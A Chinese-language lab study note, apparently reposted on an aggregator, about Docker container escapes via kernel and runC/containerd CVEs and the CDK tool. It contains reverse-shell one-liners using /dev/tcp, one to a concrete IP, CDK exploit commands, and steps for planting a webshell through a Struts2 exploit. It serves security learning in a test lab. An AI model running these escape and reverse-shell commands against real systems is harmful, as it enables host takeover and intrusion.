小迪安全v2023学习笔记(九十六讲)—— 云原生篇Docker安全系统内核版本漏洞CDK自动利用容器逃逸 - 实践

news/2025/10/19 17:23:02/文章来源:https://www.cnblogs.com/wzzkaifa/p/19151110

文章目录

  • 前记
  • 云上攻防——第九十六天
    • 云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸
      • 前情回顾
      • 云原生 - Docker安全-容器逃逸&内核漏洞
      • 云原生 - Docker安全-容器逃逸&版本漏洞
        • CVE-2019-5736(runC容器逃逸)
          • 1. 安装docker对应版本
          • 2. 启动靶场测试环境
          • 3. 编译修改后EXP后等待管理员进入容器执行
          • 4. 管理员进入容器触发反弹Shell
        • CVE-2020-15257(containerd逃逸)
          • 1. 安装docker对应版本
          • 2. 启动测试环境
          • 3. 上传CDK工具自动逃逸反弹
      • 云原生 - Docker安全-容器逃逸&CDK自动化
        • 案例演示-特权模式
        • 案例演示-CVE-2020-15257自动逃逸

前记

  • 今天是学习小迪安全的第九十六天,本节课是Docker容器逃逸的第二讲,主要是关于Docker本身存在的漏洞导致逃逸
  • 然后也分享了一个自动化的利用工具CDK,讲了关于它的部分用法

云上攻防——第九十六天

云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

前情回顾

云原生 - Docker安全-容器逃逸&内核漏洞

  • 对于利用系统内核漏洞来进行逃逸,小迪说会在后面的权限提升章节讲到,这里我们大概做个了解就好
  • 主要用到的历史漏洞有:
+ CVE-2016-5195 DirtyCow
+ CVE-2017-1000112
+ CVE-2020-14386
+ CVE-2021-22555
+ CVE-2022-0847 DirtyPipe
  • CVE-2016-5195
    • 漏洞介绍:大名鼎鼎的脏牛漏洞,Linux 2.6.22–4.8.3 的 copy-on-write 逻辑存在竞态,可把宿主机任意只读 mmap 文件(含 vDSO、passwd、sudoers 等)写成可写,进而注入 shellcode 或写 root 口令。
    • 逃逸方式:在容器里编译 PoC,覆写宿主机 vDSO 或 /etc/passwd,宿主机返回 root shell
  • CVE-2017-1000112
    • 漏洞介绍:netpoll 代码里 use-after-free,可构造 ROP 实现内核任意代码执行。
    • 逃逸方式:容器内触发 UAF 后布置 ROP chain,提权到宿主机 root
  • CVE-2020-14386
    • 漏洞介绍:AF_PACKET 环形缓冲区长度校验缺失,未授权容器进程可越界写 8 字节,进而堆喷+ROP。
    • 逃逸方式:容器里跑 exploit,利用 8 字节写能力劫持宿主机内核控制流,拿到宿主机 root
  • CVE-2021-22555
    • 漏洞介绍:netfilter 在 64→32 位转换时堆溢出,可写任意长度数据到内核堆。
    • 逃逸方式:容器内触发溢出,覆盖宿主机 task 结构体或 cred,直接提权,成功率极高
  • CVE-2022-0847
    • 漏洞介绍:5.8–5.16.10 的 pipe 逻辑缺陷,可把任意只读文件覆写为任意内容(含 SUID 二进制)。
    • 逃逸方式:在容器里覆写宿主机 /usr/bin/su、/usr/bin/docker 等 SUID 程序,注入 shellcode 后宿主机执行即返回 root
  • 在2023年之后爆出的仍可以利用到容器逃逸的漏洞还有:
+ CVE-2023-2640 & CVE-2023-32629 (GameOver(lay))
+ CVE-2023-32233 (Netfilter UAF)
+ CVE-2023-4911 (Looney Tunables)
+ CVE-2024-1086 (Linux kernel nf_tables 越界写)
+ CVE-2024-0646 (kernel io_uring 任意地址写)
+ CVE-2025-9074 (Docker Desktop 引擎 API 未授权)
  • 这里就不深究他们是怎么利用的,因为这部分是后面的内容,就先做个了解即可

云原生 - Docker安全-容器逃逸&版本漏洞

  • 我们主要讲的是关于docker本身的安全问题造成的容器逃逸,主要有如下几个:
+ CVE-2017-1002101
+ CVE-2018-1002100
+ CVE-2018-15664 (符号链接替换漏洞)
+ CVE-2019-14271 (加载不受信任的动态链接库)
+ CVE-2019-1002101
+ CVE-2019-11246
+ CVE-2019-5736 (runc容器逃逸)
+ CVE-2020-15257 (containerd逃逸)
+ CVE-2024-21626 (runC 文件描述符泄漏)
+ CVE-2025-9074 (Docker Desktop 无鉴权 TCP API)
+ CVE-2025-23266/23267 (NVIDIA Container Toolkit 注入)
  • 然后我们就选几个有代表性的来演示一下即可,然后实验的环境为ubuntu18.04 LTS,因为ubuntu22.04仓库中已经移除了docker 18版本
CVE-2019-5736(runC容器逃逸)
  • 漏洞介绍:容器内进程可对宿主机 /proc/self/exe 指向的 runc 二进制进行写打开;下次管理员 docker exec 时宿主机再以 root 重新加载已被篡改的 runc,实现任意代码执行。
  • 影响版本
Docker ≤ 18.09.2
runC ≤ 1.0-rc6
containerd ≤ 1.2.2
1. 安装docker对应版本
  • 这里我们需要先安装docker的漏洞版本:
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install -y docker-ce=18.06.1~ce~3-0~ubuntu

在这里插入图片描述
在这里插入图片描述

2. 启动靶场测试环境
  • 然后我们启动一个测试的靶场,进入:
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

在这里插入图片描述

  • 同样判断是否为docker环境:
    在这里插入图片描述

  • 确认是docker环境之后,我们开始尝试逃逸,按照前一节课的内容,我们先判断是否为特权模式启动或者挂载危险目录,当然这里并不是

  • 所以我们要换方向,要么是内核漏洞,要么是docker容器本身漏洞,这里我们假设知道了使用cve-2019-5736漏洞进行逃逸

3. 编译修改后EXP后等待管理员进入容器执行
bash -c 'exec bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'

在这里插入图片描述

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

在这里插入图片描述

  • 将他上传到目标容器中,并赋予执行权限,执行这个文件:
    在这里插入图片描述
4. 管理员进入容器触发反弹Shell
  • 我们在另一台机器上启动监听:
    在这里插入图片描述

  • 然后在本机上新建一个终端,模拟管理员登录打开该容器的行为:
    在这里插入图片描述

  • 然后我们观察该主机的另一个终端,可以看到成功执行了我们的反弹Shell命令:
    在这里插入图片描述

  • 此时我们的攻击机也成功拿到宿主机的Shell,而不是容器的,也就逃逸成功:
    在这里插入图片描述

  • 但是这个漏洞利用的难点在于,我们容器中运行main文件后,如何让管理员运行进入该docker容器

CVE-2020-15257(containerd逃逸)
containerd < 1.3.9
containerd 1.4.0 - 1.4.2
1. 安装docker对应版本
  • 这里我们需要先安装docker的漏洞版本:
apt-get update
apt-get install ca-certificates curl software-properties-common
bash -c 'curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -'
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install -y docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

在这里插入图片描述

2. 启动测试环境
  • 然后我们启动一个测试的靶场,进入:
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it <CONTAINER ID> /bin/bash
  • 这里需要注意的是,启动容器的时候必须加上--net=host这个选项,否则不存在该漏洞!!!,这个选项的意思是Docker容器与宿主机共享同一个网络
    在这里插入图片描述
3. 上传CDK工具自动逃逸反弹
docker cp cdk_linux_amd64 <CONTAINER ID>:/
  • 赋予执行权限,直接运行对应的模块即可:
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn <IP> <PORT>

在这里插入图片描述

  • 然后我们就能够收到反弹的Shell了,并且成功逃逸出容器:
    在这里插入图片描述

云原生 - Docker安全-容器逃逸&CDK自动化

# 容器信息收集
./cdk eva --full
# 容器逃逸利用
./cdk run <脚本模块> <执行命令>
  • 接下来我们就使用几个例子来演示一下
案例演示-特权模式
  • 比如昨天讲的特权模式,使用这个工具可以直接一把梭,先创建容器:
docker run --rm --privileged=true -it -p 8888:8080 vulhub/struts2:s2-053
  • 然后struts2漏洞检测工具一把梭拿到shell:
    在这里插入图片描述

  • 然后我们尝试上传一个木马,然后通过哥斯拉连接:
    在这里插入图片描述

  • 连接之后上传我们的CDK工具文件:
    在这里插入图片描述

  • 然后赋权执行上面提到的命令自动扫描:

./cdk_linux_amd64 eva --full

在这里插入图片描述

  • 他就会帮你进行分析,然后可能会有些看不懂,没关系,直接赋值给AI让他帮我们分析这个扫描结果:
    在这里插入图片描述

  • 可以看到这里它也是成功扫到了开启特权模式,可以利用其进行容器逃逸,我们可以通过如下命令直接利用:

./cdk_linux_amd64 run mount-cgroup "bash -c 'bash -i >& /dev/tcp/119.28.66.215/9999 0>&1'"

在这里插入图片描述

  • 这里就成功利用我们的特权模式,成功逃逸出来了,也不用我们自己去创建什么定时任务了,它直接就帮我们创建了
案例演示-CVE-2020-15257自动逃逸
  • 同样,我们使用刚刚创建的容器,只不过换一个方式启动:
docker run --rm --net=host -it -p 8888:8080 vulhub/struts2:s2-053
  • 通过工具拿到Shell上传木马,哥斯拉连接上传CDK文件:
    在这里插入图片描述

  • 然后先进行信息收集,丢给AI分析一下:
    在这里插入图片描述
    在这里插入图片描述

  • 可以看到这里它虽然没有标记出存在的是哪个CVE漏洞,但是根据这个描述,那不就是CVE-2020-15257吗?

  • 所以直接使用它的一键式利用工具利用即可:

./cdk run shim-pwn reverse <攻击机IP> 12345

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/940464.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

完整教程:使用Celery处理Python Web应用中的异步任务

完整教程:使用Celery处理Python Web应用中的异步任务pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&qu…

Visual Studio Code 初步配置指南(Windows端)

0x00 简介 本文将介绍如何从0开始初步配置Visual Studio Code(Windows端)(用于编写C语言程序)。 本文以Windows11 24H2系统演示。 如果你还没有决定是否使用VSCode,可以前往0x06章节预览VSCode是如何编写运行程序…

2025年UV光源厂家推荐排行榜,UV面光源,UV LED点光源,UV LED面光源,UV LED固化机公司精选

2025年UV光源厂家推荐排行榜:UV面光源,UV LED点光源,UV LED面光源,UV LED固化机公司精选随着科技的不断进步,UV光源在各个行业中的应用越来越广泛。从印刷、涂装到电子制造,UV光源以其高效、环保的特点成为不可或…

深度学习基础从0到0.1

线性回归 一元线性回归 线性回归,公式为Y=Wx+b,这里简单一点,假设偏置b=0,我们设置损失函数为loss=(y-yi),y是真实值,yi是预测值,代入可得loss=(y-W*x),带入x的值和y的值即可得到最终的loss函数,而后求其导数…

比赛与好题记录(2025 9-10)

随便写写。 P14115 [IAMOI R4] 木桶效应 有一个木桶,由 \(n\) 块竖直木板组成,第 \(i\) 块木板高度为 \(a_i\)。 我们可以在这些木板上加装额外的木板:有 \(m\) 块 高度为 1 的木板; 有 \(k\) 块 高度为 \(h\) 的木…

QOJ #12313. Three Indices 题解

Description 一个字符串 \(t\) 被称为字符串 \(w\) 的 平滑变换(smooth transformation),如果存在一个整数 \(m \ge 1\) 和一系列字符串 \(w_0, w_1, \ldots, w_m\),满足以下条件:\(w_0 = w\),并且当 \(0 < i…

全面详解 C++std::vector用法指南

std::vector是 C++ 标准模板库(STL)中最重要、最常用的容器之一,它提供了​​动态数组​​功能,能够自动管理内存,支持快速随机访问,并在尾部高效添加/删除元素。 一、基础概念与特性 1.1 核心特性​​动态数组​…

022304105叶骋恺数据采集第一次作业

作业1 代码与运行结果 import urllib.request from bs4 import BeautifulSoupurl ="http://www.shanghairanking.cn/rankings/bcur/2020" response = urllib.request.urlopen(url, timeout=3) html= respons…

智能预加载:基于用户行为和路由预测

智能预加载:基于用户行为和路由预测 核心概念 智能预加载通过分析用户行为模式、路由关系和页面重要性,在用户实际访问前预先加载资源,显著提升用户体验。 实现架构 1. 行为数据收集层 class UserBehaviorTracker {…

函数简单传入参数的汇编分析 - 指南

函数简单传入参数的汇编分析 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco…

2025年振动电机厂家推荐排行榜,新型/高频/防爆/低噪声/节能振动电机公司精选!

2025年振动电机厂家推荐排行榜,新型/高频/防爆/低噪声/节能振动电机公司精选!随着工业自动化和智能化的快速发展,振动电机作为许多机械设备中的关键部件,其性能和可靠性直接影响到整个系统的运行效率。为了帮助企业…

数据类型转换以及内存溢出

数据类型转换以及内存溢出数据类型转换以及内存溢出 public class Demo05 {public static void main(String[] args) {int i = 128;double b = i;//内存溢出//强制转换 (类型)变量名 高--低//自动转换 低--高…

2025年UV胶点胶机厂家推荐排行榜,全自动/智能/视觉定位/纽扣/拉链头/拉片/商标/钥匙扣/五金/徽章/线圈/硅胶点胶机公司推荐!

2025年UV胶点胶机厂家推荐排行榜,全自动/智能/视觉定位/纽扣/拉链头/拉片/商标/钥匙扣/五金/徽章/线圈/硅胶点胶机公司推荐!随着工业自动化技术的快速发展,UV胶点胶机在各个行业中的应用越来越广泛。从纽扣、拉链头…

25-deepin-linux-wsl-nginx-installation

windows11 #wsl #nginx 在 Deepin Linux 和 WSL 环境中安装配置 Nginx 静态资源服务器 概述 本文详细介绍了在 Deepin Linux 和 WSL (Windows Subsystem for Linux) 环境中安装 Nginx 并配置静态资源服务器的完整过程,…

美股数据接口对接指南:快速获取指数实时行情

美股数据接口对接指南:快速获取纳斯达克、道琼斯指数实时行情 在金融科技应用、量化交易或数据可视化项目中,接入可靠的美股市场数据是常见的需求。本文将详细介绍如何通过API接口,高效、稳定地获取包括纳斯达克综合…

2025国际冷链运输推荐腾翼搏时,专业温控保障生物药品安全!

2025国际冷链运输推荐腾翼搏时,专业温控保障生物药品安全!随着全球生物医药行业的快速发展,对冷链物流的需求日益增长。特别是在2025年,预计全球医药市场的规模将进一步扩大,生物药品、临床样本、CAR-T细胞治疗产…

鸿蒙设备开发-gpio控制

正在施工 说明 比harmony4.0的时候文档好太多了,基本每个文件夹(sdk组件)下都有对应的详细文档。 设备 用的RK35xx , 其实用什么设备都可以,都是kernel向上提供接口,只要可以运行kernel,性能可以基本都可以适配。…

QT肝8天01--工程介绍

QT肝8天01--工程介绍2025-10-19 16:57 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-f…

AI Agent和Agentic AI

https://hub.baai.ac.cn/view/46037本文来自博客园,作者:transformert,转载请注明原文链接:https://www.cnblogs.com/ac-network/p/19151066